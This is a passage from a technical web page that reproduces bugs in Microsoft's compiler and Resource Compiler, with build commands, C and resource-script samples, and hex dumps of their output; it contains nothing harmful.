Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 19.20.27004.0 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 19.20.27004.0 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj
Execute the console application blunder.exe
built in
step 10. and evaluate its exit code to prove that
231 is equal to 0:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0000094 (NT: 0xc0000094 STATUS_INTEGER_DIVIDE_BY_ZERO) -- 3221225620 (-1073741676) Error message text: {EXCEPTION} Integer division by zero CertUtil: -error command completed successfully.OUCH: (at least) for the divisor 231, which most obviously differs from 0, Windows’ kernel maps the processor’s
#DE
exception to the
wrong
NTSTATUS
0xC0000094
alias STATUS_INTEGER_DIVIDE_BY_ZERO
instead to the
correct
0xC0000095
alias STATUS_INTEGER_OVERFLOW
!
Compile and link the source file blunder.c
created in
step 9. in the 64-bit development environment:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.cNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) C/C++ Optimizing Compiler Version 19.20.27004.0 for x64 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 19.20.27004.0 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj
Execute the console application blunder.exe
built in
step 12. and evaluate its exit code to prove that
263 is equal to 0:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0000094 (NT: 0xc0000094 STATUS_INTEGER_DIVIDE_BY_ZERO) -- 3221225620 (-1073741676) Error message text: {EXCEPTION} Integer division by zero CertUtil: -error command completed successfully.OUCH: (at least) for the divisor 263, which most obviously differs from 0, Windows’ kernel maps the processor’s
#DE
exception to the
wrong
NTSTATUS
0xC0000094
alias STATUS_INTEGER_DIVIDE_BY_ZERO
instead to the
correct
0xC0000095
alias STATUS_INTEGER_OVERFLOW
!
RC.exe
:
Start the Command Processor
Cmd.exe
, then execute
the
Resource Compiler
RC.exe
with code page 1200
alias
UTF-16LE
set on the command line:
RC.EXE /C 1200 /X NUL:
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved. fatal error RC1206: code page specified on command line not in registryOUCH¹: the Resource Compiler fails to accept or support the native encoding of Windows NT!
Create the text file blunder.rc
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#if 0
#pragma code_page(1200) // UTF-16LE
#endif
Compile the source file blunder.rc
created in
step 2. with code page 20127 alias
ASCII
set on the command line:
RC.EXE /C 20127 /X blunder.rc TYPE RCa?????
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved. blunder.rc(3) : fatal error RC4213: Codepage 1200 (Unicode) not allowed: ignored RCa12345 l i n e 1 " b l u n d e r . r c " # l i n e 1 / / C o p y l e f t ® 2 0 0 4 - 2 0 2 4 , S t e f a n K a n t h a k < s t e f a n . k a n t h a k @ n e x g o . d e > # l i n e 3 # i f 0OUCH²: contrary to the Visual C preprocessor, the preprocessor of the Resource Compiler evaluates its
#pragma code_page()
directive even when it is guarded by
#if… #endif
!
OOPS¹: although the preprocessor of the Resource Compiler supports UTF-16LE encoded source files, it rejects this encoding!
OOPS²: when it terminates with the
undocumented error code RC4213
, the
Resource Compiler
fails to delete the intermediary
UTF-16LE
encoded preprocessor output file
RCa‹5 decimal digits›
– contrary to
Microsoft’s own recommendation written without
Byte Order Mark!
Overwrite the text file blunder.rc
created in
step 2. with the following content:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
STRINGTABLE
BEGIN
0, "[\0] NUL"
1, "[\a] Audible Alarm"
2, "[\b] Backspace"
3, "[\f] Form Feed"
4, "[\n] Line Feed"
5, "[\r] Carriage Return"
6, "[\t] Horizontal Tabulator"
7, "[\v] Vertical Tabulator"
#ifndef BLUNDER
8, "[\"] Double Quote"
#else
8, "[""] Double Quote"
#endif
9, "[\'] Single Quote"
10, "[\?] Question Mark"
11, "[\\] Backslash"
12, "[\177] DEL"
13, "[\u20AC] Euro Sign"
14, "[\xFEFF] Byte Order Mark"
15, "[\x]"
16, L"[\0] NUL"
17, L"[\a] Audible Alarm"
18, L"[\b] Backspace"
19, L"[\f] Form Feed"
20, L"[\n] Line Feed"
21, L"[\r] Carriage Return"
22, L"[\t] Horizontal Tabulator"
23, L"[\v] Vertical Tabulator"
#ifndef BLUNDER
24, L"[\"] Double Quote"
#else
24, L"[""] Double Quote"
#endif
25, L"[\'] Single Quote"
26, L"[\?] Question Mark"
27, L"[\\] Backslash"
28, L"[\177] DEL"
29, L"[\u20AC] Euro Sign"
30, L"[\xFEFF] Byte Order Mark"
31, L"[\x]"
END
Compile the source file blunder.rc
modified in
step 4.:
RC.EXE /C 20127 /X blunder.rc
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved. blunder.rc.blunder.rc(14) : error RC2104 : undefined keyword or key name: ]OUCH³: the Resource Compiler fails to support the standard ANSI C89 escape sequence
\"
for the
Double Quote! Resource Compiler Error RC2104
Compile the source file blunder.rc
modified in
step 4. a second time, now with the preprocessor macro
BLUNDER
defined:
RC.EXE /C 20127 /D BLUNDER /X blunder.rc
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved.OOPS³: quotation marks must be doubled in strings!
Dump the raw data of the resource file blunder.res
generated in step 6.:
CERTUTIL.EXE /DUMP blunder.res
0000 ... 0454 0000 00 00 00 00 20 00 00 00 ff ff 00 00 ff ff 00 00 .... ........... 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020 08 02 00 00 20 00 00 00 ff ff 06 00 ff ff 01 00 .... ........... 0030 00 00 00 00 30 10 09 04 00 00 00 00 00 00 00 00 ....0........... 0040 07 00 5b 00 00 00 5d 00 20 00 4e 00 55 00 4c 00 ..[...]. .N.U.L. 0050 11 00 5b 00 08 00 5d 00 20 00 41 00 75 00 64 00 ..[...]. .A.u.d. 0060 69 00 62 00 6c 00 65 00 20 00 41 00 6c 00 61 00 i.b.l.e. .A.l.a. 0070 72 00 6d 00 0e 00 5b 00 5c 00 62 00 5d 00 20 00 r.m...[.\.b.]. . 0080 42 00 61 00 63 00 6b 00 73 00 70 00 61 00 63 00 B.a.c.k.s.p.a.c. 0090 65 00 0e 00 5b 00 5c 00 66 00 5d 00 20 00 46 00 e...[.\.f.]. .F. 00a0 6f 00 72 00 6d 00 20 00 46 00 65 00 65 00 64 00 o.r.m. .F.e.e.d. 00b0 0d 00 5b 00 0a 00 5d 00 20 00 4c 00 69 00 6e 00 ..[...]. .L.i.n. 00c0 65 00 20 00 46 00 65 00 65 00 64 00 13 00 5b 00 e. .F.e.e.d...[. 00d0 0d 00 5d 00 20 00 43 00 61 00 72 00 72 00 69 00 ..]. .C.a.r.r.i. 00e0 61 00 67 00 65 00 20 00 52 00 65 00 74 00 75 00 a.g.e. .R.e.t.u. 00f0 72 00 6e 00 18 00 5b 00 09 00 5d 00 20 00 48 00 r.n...[...]. .H. 0100 6f 00 72 00 69 00 7a 00 6f 00 6e 00 74 00 61 00 o.r.i.z.o.n.t.a. 0110 6c 00 20 00 54 00 61 00 62 00 75 00 6c 00 61 00 l. .T.a.b.u.l.a. 0120 74 00 6f 00 72 00 17 00 5b 00 5c 00 76 00 5d 00 t.o.r...[.\.v.]. 0130 20 00 56 00 65 00 72 00 74 00 69 00 63 00 61 00 .V.e.r.t.i.c.a. 0140 6c 00 20 00 54 00 61 00 62 00 75 00 6c 00 61 00 l. .T.a.b.u.l.a. 0150 74 00 6f 00 72 00 10 00 5b 00 22 00 5d 00 20 00 t.o.r...[.".]. . 0160 44 00 6f 00 75 00 62 00 6c 00 65 00 20 00 51 00 D.o.u.b.l.e. .Q. 0170 75 00 6f 00 74 00 65 00 11 00 5b 00 5c 00 27 00 u.o.t.e...[.\.'. 0180 5d 00 20 00 53 00 69 00 6e 00 67 00 6c 00 65 00 ]. .S.i.n.g.l.e. 0190 20 00 51 00 75 00 6f 00 74 00 65 00 12 00 5b 00 .Q.u.o.t.e...[. 01a0 5c 00 3f 00 5d 00 20 00 51 00 75 00 65 00 73 00 \.?.]. .Q.u.e.s. 01b0 74 00 69 00 6f 00 6e 00 20 00 4d 00 61 00 72 00 t.i.o.n. .M.a.r. 01c0 6b 00 0d 00 5b 00 5c 00 5d 00 20 00 42 00 61 00 k...[.\.]. .B.a. 01d0 63 00 6b 00 73 00 6c 00 61 00 73 00 68 00 07 00 c.k.s.l.a.s.h... 01e0 5b 00 7f 00 5d 00 20 00 44 00 45 00 4c 00 12 00 [...]. .D.E.L... 01f0 5b 00 5c 00 75 00 32 00 30 00 41 00 43 00 5d 00 [.\.u.2.0.A.C.]. 0200 20 00 45 00 75 00 72 00 6f 00 20 00 53 00 69 00 .E.u.r.o. .S.i. 0210 67 00 6e 00 15 00 5b 00 fe 00 46 00 46 00 5d 00 g.n...[...F.F.]. 0220 20 00 42 00 79 00 74 00 65 00 20 00 4f 00 72 00 .B.y.t.e. .O.r. 0230 64 00 65 00 72 00 20 00 4d 00 61 00 72 00 6b 00 d.e.r. .M.a.r.k. 0240 03 00 5b 00 00 00 5d 00 ec 01 00 00 20 00 00 00 ..[...]..... ... 0250 ff ff 06 00 ff ff 02 00 00 00 00 00 30 10 00 00 ............0... 0260 00 00 00 00 00 00 00 00 07 00 5b 00 00 00 5d 00 ..........[...]. 0270 20 00 4e 00 55 00 4c 00 11 00 5b 00 08 00 5d 00 .N.U.L...[...]. 0280 20 00 41 00 75 00 64 00 69 00 62 00 6c 00 65 00 .A.u.d.i.b.l.e. 0290 20 00 41 00 6c 00 61 00 72 00 6d 00 0c 00 5b 00 .A.l.a.r.m...[. 02a0 5d 00 20 00 42 00 61 00 63 00 6b 00 73 00 70 00 ]. .B.a.c.k.s.p. 02b0 61 00 63 00 65 00 0c 00 5b 00 5d 00 20 00 46 00 a.c.e...[.]. .F. 02c0 6f 00 72 00 6d 00 20 00 46 00 65 00 65 00 64 00 o.r.m. .F.e.e.d. 02d0 0d 00 5b 00 0a 00 5d 00 20 00 4c 00 69 00 6e 00 ..[...]. .L.i.n. 02e0 65 00 20 00 46 00 65 00 65 00 64 00 13 00 5b 00 e. .F.e.e.d...[. 02f0 0d 00 5d 00 20 00 43 00 61 00 72 00 72 00 69 00 ..]. .C.a.r.r.i. 0300 61 00 67 00 65 00 20 00 52 00 65 00 74 00 75 00 a.g.e. .R.e.t.u. 0310 72 00 6e 00 18 00 5b 00 09 00 5d 00 20 00 48 00 r.n...[...]. .H. 0320 6f 00 72 00 69 00 7a 00 6f 00 6e 00 74 00 61 00 o.r.i.z.o.n.t.a. 0330 6c 00 20 00 54 00 61 00 62 00 75 00 6c 00 61 00 l. .T.a.b.u.l.a. 0340 74 00 6f 00 72 00 15 00 5b 00 5d 00 20 00 56 00 t.o.r...[.]. .V. 0350 65 00 72 00 74 00 69 00 63 00 61 00 6c 00 20 00 e.r.t.i.c.a.l. . 0360 54 00 61 00 62 00 75 00 6c 00 61 00 74 00 6f 00 T.a.b.u.l.a.t.o. 0370 72 00 10 00 5b 00 22 00 5d 00 20 00 44 00 6f 00 r...[.".]. .D.o. 0380 75 00 62 00 6c 00 65 00 20 00 51 00 75 00 6f 00 u.b.l.e. .Q.u.o. 0390 74 00 65 00 0f 00 5b 00 5d 00 20 00 53 00 69 00 t.e...[.]. .S.i. 03a0 6e 00 67 00 6c 00 65 00 20 00 51 00 75 00 6f 00 n.g.l.e. .Q.u.o. 03b0 74 00 65 00 10 00 5b 00 5d 00 20 00 51 00 75 00 t.e...[.]. .Q.u. 03c0 65 00 73 00 74 00 69 00 6f 00 6e 00 20 00 4d 00 e.s.t.i.o.n. .M. 03d0 61 00 72 00 6b 00 0d 00 5b 00 5c 00 5d 00 20 00 a.r.k...[.\.]. . 03e0 42 00 61 00 63 00 6b 00 73 00 6c 00 61 00 73 00 B.a.c.k.s.l.a.s. 03f0 68 00 07 00 5b 00 7f 00 5d 00 20 00 44 00 45 00 h...[...]. .D.E. 0400 4c 00 10 00 5b 00 32 00 30 00 41 00 43 00 5d 00 L...[.2.0.A.C.]. 0410 20 00 45 00 75 00 72 00 6f 00 20 00 53 00 69 00 .E.u.r.o. .S.i. 0420 67 00 6e 00 13 00 5b 00 ff fe 5d 00 20 00 42 00 g.n...[...]. .B. 0430 79 00 74 00 65 00 20 00 4f 00 72 00 64 00 65 00 y.t.e. .O.r.d.e. 0440 72 00 20 00 4d 00 61 00 72 00 6b 00 03 00 5b 00 r. .M.a.r.k...[. 0450 00 00 5d 00 ..]. CertUtil: -dump command completed successfully.OUCH⁴: the Resource Compiler translates the standard ANSI C89 escape sequence
\a
for
Audible Alarmto the wrong Unicode code point
U+0008
instead of its
correct code point U+0007
!
OUCH⁵: it fails to support the
standard
ANSI C89
escape sequences
\b
for
Backspace
, \f
for Form Feed
,
\v
for
Vertical Tabulator
,
\'
for the
Single Quote
, and
\?
for the
Question Mark
!
OOPS⁴: it also fails to support the
standard
ANSI C99
escape sequence
\u‹1 to 4 hexadecimal digits›
for
UTF-16
code points
U+‹1 to 4 hexadecimal digits›
.
OUCH⁶: it accepts the
incomplete and invalid escape
sequence \x
without any following hexadecimal digit(s)
and treats it as \0
!
OOPS⁵: its (mis)behaviour for escape sequences in ANSI strings differs from the (mis)behaviour for escape sequences in Unicode strings!
Convert the resource file blunder.res
generated in
step 6. to an object file blunder.obj
and link it
as resource
DLLs
blunder.dll
, then dump the raw data of the
.rsrc
section:
CVTRES.EXE /MACHINE:X86 /READONLY blunder.res LINK.EXE /LINK /DLL /NODEFAULTLIB /NOENTRY blunder.obj LINK.EXE /DUMP /RAWDATA /SECTION:.rsrc blunder.dll
Microsoft (R) Windows Resource To Object Converter Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file blunder.dll File Type: DLL SECTION HEADER #1 .rsrc name 488 virtual size 1000 virtual address (10001000 to 10001487) 600 size of raw data 200 file pointer to raw data (00000200 to 000007FF) 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers 40000040 flags Initialized Data Read Only RAW DATA #1 10001000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 ................ 10001010: 06 00 00 00 18 00 00 80 00 00 00 00 00 00 00 00 ................ 10001020: 00 00 00 00 00 00 02 00 01 00 00 00 38 00 00 80 ............8... 10001030: 02 00 00 00 50 00 00 80 00 00 00 00 00 00 00 00 ....P........... 10001040: 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 ............h... 10001050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 ................ 10001060: 00 00 00 00 78 00 00 00 90 10 00 00 08 02 00 00 ....x........... 10001070: 00 00 00 00 00 00 00 00 98 12 00 00 EC 01 00 00 ............ì... 10001080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 10001090: 07 00 5B 00 00 00 5D 00 20 00 4E 00 55 00 4C 00 ..[...]. .N.U.L. 100010A0: 11 00 5B 00 08 00 5D 00 20 00 41 00 75 00 64 00 ..[...]. .A.u.d. 100010B0: 69 00 62 00 6C 00 65 00 20 00 41 00 6C 00 61 00 i.b.l.e. .A.l.a. 100010C0: 72 00 6D 00 0E 00 5B 00 5C 00 62 00 5D 00 20 00 r.m...[.\.b.]. . 100010D0: 42 00 61 00 63 00 6B 00 73 00 70 00 61 00 63 00 B.a.c.k.s.p.a.c. 100010E0: 65 00 0E 00 5B 00 5C 00 66 00 5D 00 20 00 46 00 e...[.\.f.]. .F. 100010F0: 6F 00 72 00 6D 00 20 00 46 00 65 00 65 00 64 00 o.r.m. .F.e.e.d. 10001100: 0D 00 5B 00 0A 00 5D 00 20 00 4C 00 69 00 6E 00 ..[...]. .L.i.n. 10001110: 65 00 20 00 46 00 65 00 65 00 64 00 13 00 5B 00 e. .F.e.e.d...[. 10001120: 0D 00 5D 00 20 00 43 00 61 00 72 00 72 00 69 00 ..]. .C.a.r.r.i. 10001130: 61 00 67 00 65 00 20 00 52 00 65 00 74 00 75 00 a.g.e. .R.e.t.u. 10001140: 72 00 6E 00 18 00 5B 00 09 00 5D 00 20 00 48 00 r.n...[...]. .H. 10001150: 6F 00 72 00 69 00 7A 00 6F 00 6E 00 74 00 61 00 o.r.i.z.o.n.t.a. 10001160: 6C 00 20 00 54 00 61 00 62 00 75 00 6C 00 61 00 l. .T.a.b.u.l.a. 10001170: 74 00 6F 00 72 00 17 00 5B 00 5C 00 76 00 5D 00 t.o.r...[.\.v.]. 10001180: 20 00 56 00 65 00 72 00 74 00 69 00 63 00 61 00 .V.e.r.t.i.c.a. 10001190: 6C 00 20 00 54 00 61 00 62 00 75 00 6C 00 61 00 l. .T.a.b.u.l.a. 100011A0: 74 00 6F 00 72 00 10 00 5B 00 22 00 5D 00 20 00 t.o.r...[.".]. . 100011B0: 44 00 6F 00 75 00 62 00 6C 00 65 00 20 00 51 00 D.o.u.b.l.e. .Q. 100011C0: 75 00 6F 00 74 00 65 00 11 00 5B 00 5C 00 27 00 u.o.t.e...[.\.'. 100011D0: 5D 00 20 00 53 00 69 00 6E 00 67 00 6C 00 65 00 ]. .S.i.n.g.l.e. 100011E0: 20 00 51 00 75 00 6F 00 74 00 65 00 12 00 5B 00 .Q.u.o.t.e...[. 100011F0: 5C 00 3F 00 5D 00 20 00 51 00 75 00 65 00 73 00 \.?.]. .Q.u.e.s. 10001200: 74 00 69 00 6F 00 6E 00 20 00 4D 00 61 00 72 00 t.i.o.n. .M.a.r. 10001210: 6B 00 0D 00 5B 00 5C 00 5D 00 20 00 42 00 61 00 k...[.\.]. .B.a. 10001220: 63 00 6B 00 73 00 6C 00 61 00 73 00 68 00 07 00 c.k.s.l.a.s.h... 10001230: 5B 00 7F 00 5D 00 20 00 44 00 45 00 4C 00 12 00 [...]. .D.E.L... 10001240: 5B 00 5C 00 75 00 32 00 30 00 41 00 43 00 5D 00 [.\.u.2.0.A.C.]. 10001250: 20 00 45 00 75 00 72 00 6F 00 20 00 53 00 69 00 .E.u.r.o. .S.i. 10001260: 67 00 6E 00 15 00 5B 00 FE 00 46 00 46 00 5D 00 g.n...[.þ.F.F.]. 10001270: 20 00 42 00 79 00 74 00 65 00 20 00 4F 00 72 00 .B.y.t.e. .O.r. 10001280: 64 00 65 00 72 00 20 00 4D 00 61 00 72 00 6B 00 d.e.r. .M.a.r.k. 10001290: 03 00 5B 00 00 00 5D 00 07 00 5B 00 00 00 5D 00 ..[...]...[...]. 100012A0: 20 00 4E 00 55 00 4C 00 11 00 5B 00 08 00 5D 00 .N.U.L...[...]. 100012B0: 20 00 41 00 75 00 64 00 69 00 62 00 6C 00 65 00 .A.u.d.i.b.l.e. 100012C0: 20 00 41 00 6C 00 61 00 72 00 6D 00 0C 00 5B 00 .A.l.a.r.m...[. 100012D0: 5D 00 20 00 42 00 61 00 63 00 6B 00 73 00 70 00 ]. .B.a.c.k.s.p. 100012E0: 61 00 63 00 65 00 0C 00 5B 00 5D 00 20 00 46 00 a.c.e...[.]. .F. 100012F0: 6F 00 72 00 6D 00 20 00 46 00 65 00 65 00 64 00 o.r.m. .F.e.e.d. 10001300: 0D 00 5B 00 0A 00 5D 00 20 00 4C 00 69 00 6E 00 ..[...]. .L.i.n. 10001310: 65 00 20 00 46 00 65 00 65 00 64 00 13 00 5B 00 e. .F.e.e.d...[. 10001320: 0D 00 5D 00 20 00 43 00 61 00 72 00 72 00 69 00 ..]. .C.a.r.r.i. 10001330: 61 00 67 00 65 00 20 00 52 00 65 00 74 00 75 00 a.g.e. .R.e.t.u. 10001340: 72 00 6E 00 18 00 5B 00 09 00 5D 00 20 00 48 00 r.n...[...]. .H. 10001350: 6F 00 72 00 69 00 7A 00 6F 00 6E 00 74 00 61 00 o.r.i.z.o.n.t.a. 10001360: 6C 00 20 00 54 00 61 00 62 00 75 00 6C 00 61 00 l. .T.a.b.u.l.a. 10001370: 74 00 6F 00 72 00 15 00 5B 00 5D 00 20 00 56 00 t.o.r...[.]. .V. 10001380: 65 00 72 00 74 00 69 00 63 00 61 00 6C 00 20 00 e.r.t.i.c.a.l. . 10001390: 54 00 61 00 62 00 75 00 6C 00 61 00 74 00 6F 00 T.a.b.u.l.a.t.o. 100013A0: 72 00 10 00 5B 00 22 00 5D 00 20 00 44 00 6F 00 r...[.".]. .D.o. 100013B0: 75 00 62 00 6C 00 65 00 20 00 51 00 75 00 6F 00 u.b.l.e. .Q.u.o. 100013C0: 74 00 65 00 0F 00 5B 00 5D 00 20 00 53 00 69 00 t.e...[.]. .S.i. 100013D0: 6E 00 67 00 6C 00 65 00 20 00 51 00 75 00 6F 00 n.g.l.e. .Q.u.o. 100013E0: 74 00 65 00 10 00 5B 00 5D 00 20 00 51 00 75 00 t.e...[.]. .Q.u. 100013F0: 65 00 73 00 74 00 69 00 6F 00 6E 00 20 00 4D 00 e.s.t.i.o.n. .M. 10001400: 61 00 72 00 6B 00 0D 00 5B 00 5C 00 5D 00 20 00 a.r.k...[.\.]. . 10001410: 42 00 61 00 63 00 6B 00 73 00 6C 00 61 00 73 00 B.a.c.k.s.l.a.s. 10001420: 68 00 07 00 5B 00 7F 00 5D 00 20 00 44 00 45 00 h...[...]. .D.E. 10001430: 4C 00 10 00 5B 00 32 00 30 00 41 00 43 00 5D 00 L...[.2.0.A.C.]. 10001440: 20 00 45 00 75 00 72 00 6F 00 20 00 53 00 69 00 .E.u.r.o. .S.i. 10001450: 67 00 6E 00 13 00 5B 00 FF FE 5D 00 20 00 42 00 g.n...[.ÿþ]. .B. 10001460: 79 00 74 00 65 00 20 00 4F 00 72 00 64 00 65 00 y.t.e. .O.r.d.e. 10001470: 72 00 20 00 4D 00 61 00 72 00 6B 00 03 00 5B 00 r. .M.a.r.k...[. 10001480: 00 00 5D 00 00 00 00 00 ..]..... Summary 1000 .rsrc
RC.exe
.
The .rsrc section:
Resources are indexed by a multiple-level binary-sorted tree structure. The general design can incorporate 2**31 levels. By convention, however, Windows uses three levels:
Type Name Language[…]
Each Resource Data entry describes an actual unit of raw data in the Resource Data area. A Resource Data entry has the following format:
Offset Size Field Description 0 4 Data RVA The address of a unit of resource data in the Resource Data area. 4 4 Size The size, in bytes, of the resource data that is pointed to by the Data RVA field. 8 4 Codepage The code page that is used to decode code point values within the resource data. Typically, the code page would be the Unicode code page. 12 4 Reserved, must be 0.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szType[] = {NULL,
L"CURSOR", L"BITMAP", L"ICON", L"MENU", L"DIALOG", L"STRINGTABLE",
L"FONTDIR", L"FONT", L"ACCELERATOR", L"RCDATA", L"MESSAGETABLE", L"GROUP_CURSOR",
L"MENUEX", L"GROUP_ICON", L"NAMETABLE", L"VERSION", L"DLGINCLUDE", L"DIALOGEX",
L"PLUGPLAY", L"VXD", L"ANICURSOR", L"ANIICON", L"HTML", L"MANIFEST"};
VOID WINAPI Resource(HANDLE hConsole,
IMAGE_RESOURCE_DIRECTORY *lpRoot,
IMAGE_RESOURCE_DIRECTORY *lpLevel,
DWORD dwLevel) // 0 = Type, 1 = Id, 2 = Language
{
DWORD dwEntry;
IMAGE_RESOURCE_DIRECTORY_ENTRY *lpEntry;
IMAGE_RESOURCE_DIR_STRING_U *lpUnicode;
IMAGE_RESOURCE_DATA_ENTRY *lpData;
for (lpEntry = (IMAGE_RESOURCE_DIRECTORY_ENTRY *) (lpLevel + 1),
dwEntry = 0UL;
dwEntry < lpLevel->NumberOfNamedEntries + lpLevel->NumberOfIdEntries;
dwEntry++)
{
if ((lpEntry[dwEntry].Name & IMAGE_RESOURCE_NAME_IS_STRING) == IMAGE_RESOURCE_NAME_IS_STRING)
{
lpUnicode = (IMAGE_RESOURCE_DIR_STRING_U *) ((BYTE *) lpRoot + (lpEntry[dwEntry].Name ^ IMAGE_RESOURCE_NAME_IS_STRING));
PrintConsole(hConsole,
L"\t\t\t\tName = %ls\n" + 2 - dwLevel,
lpUnicode->NameString, lpUnicode->Length);
}
else if (dwLevel > 1UL)
PrintConsole(hConsole,
L"\t\t\t\tLanguage = %hu\n",
lpEntry[dwEntry].Id);
else if (dwLevel > 0UL)
PrintConsole(hConsole,
L"\t\t\tId = %hu\n",
lpEntry[dwEntry].Id);
else
PrintConsole(hConsole,
L"\t\tType = %hu (%ls)\n",
lpEntry[dwEntry].Id, szType[lpEntry[dwEntry].Id]);
PrintConsole(hConsole,
L"\t\t\t\tOffset = 0x%08lX\n" + 2 - dwLevel,
lpEntry[dwEntry].OffsetToData);
if ((lpEntry[dwEntry].OffsetToData & IMAGE_RESOURCE_DATA_IS_DIRECTORY) != IMAGE_RESOURCE_DATA_IS_DIRECTORY)
{
lpData = (IMAGE_RESOURCE_DATA_ENTRY *) ((BYTE *) lpRoot + lpEntry[dwEntry].OffsetToData);
PrintConsole(hConsole,
L"\t\t\t\t\tAddress = 0x%08lX\n"
L"\t\t\t\t\tSize = %lu\n"
L"\t\t\t\t\tCode Page = %lu\n"
L"\t\t\t\t\tReserved = 0x%08lX\n",
lpData->OffsetToData, lpData->Size, lpData->CodePage, lpData->Reserved);
}
else
Resource(hConsole,
lpRoot,
(IMAGE_RESOURCE_DIRECTORY *) ((BYTE *) lpRoot + (lpEntry[dwEntry].OffsetToData ^ IMAGE_RESOURCE_DATA_IS_DIRECTORY)),
dwLevel + 1UL);
}
}
extern const IMAGE_DOS_HEADER __ImageBase;
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
IMAGE_RESOURCE_DIRECTORY *lpResource;
IMAGE_NT_HEADERS *lpPE = (IMAGE_NT_HEADERS *) ((BYTE *) &__ImageBase + __ImageBase.e_lfanew);
DWORD dwError = ERROR_SUCCESS;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
if ((lpPE->Signature != IMAGE_NT_SIGNATURE)
|| (lpPE->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_RESOURCE)
|| (lpPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress == 0UL)
|| (lpPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size == 0UL))
dwError = ERROR_BAD_EXE_FORMAT;
else
{
lpResource = (IMAGE_RESOURCE_DIRECTORY *) ((BYTE *) &__ImageBase + lpPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress);
PrintConsole(hError,
L"Resource Directory:\n"
L"\tCharacteristics = 0x%08lX\n"
L"\tTime/Date Stamp = 0x%08lX\n"
L"\tVersion = %hu.%hu\n"
L"\tNamed Entries = %hu\n"
L"\tUnnamed Entries = %hu\n"
L"\tEntries:\n",
lpResource->Characteristics,
lpResource->TimeDateStamp,
lpResource->MajorVersion,
lpResource->MinorVersion,
lpResource->NumberOfNamedEntries,
lpResource->NumberOfIdEntries);
Resource(hError, lpResource, lpResource, 0UL);
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(51) : warning C4018: '<' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Create the text file blunder.xml
with the following
content in the current directory:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />
Embed the
application manifest
blunder.xml
created in step 3. in the console
application blunder.exe
built in step 2.:
MT.EXE /Manifest blunder.xml /OutputResource:blunder.exe
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application blunder.exe
modified in
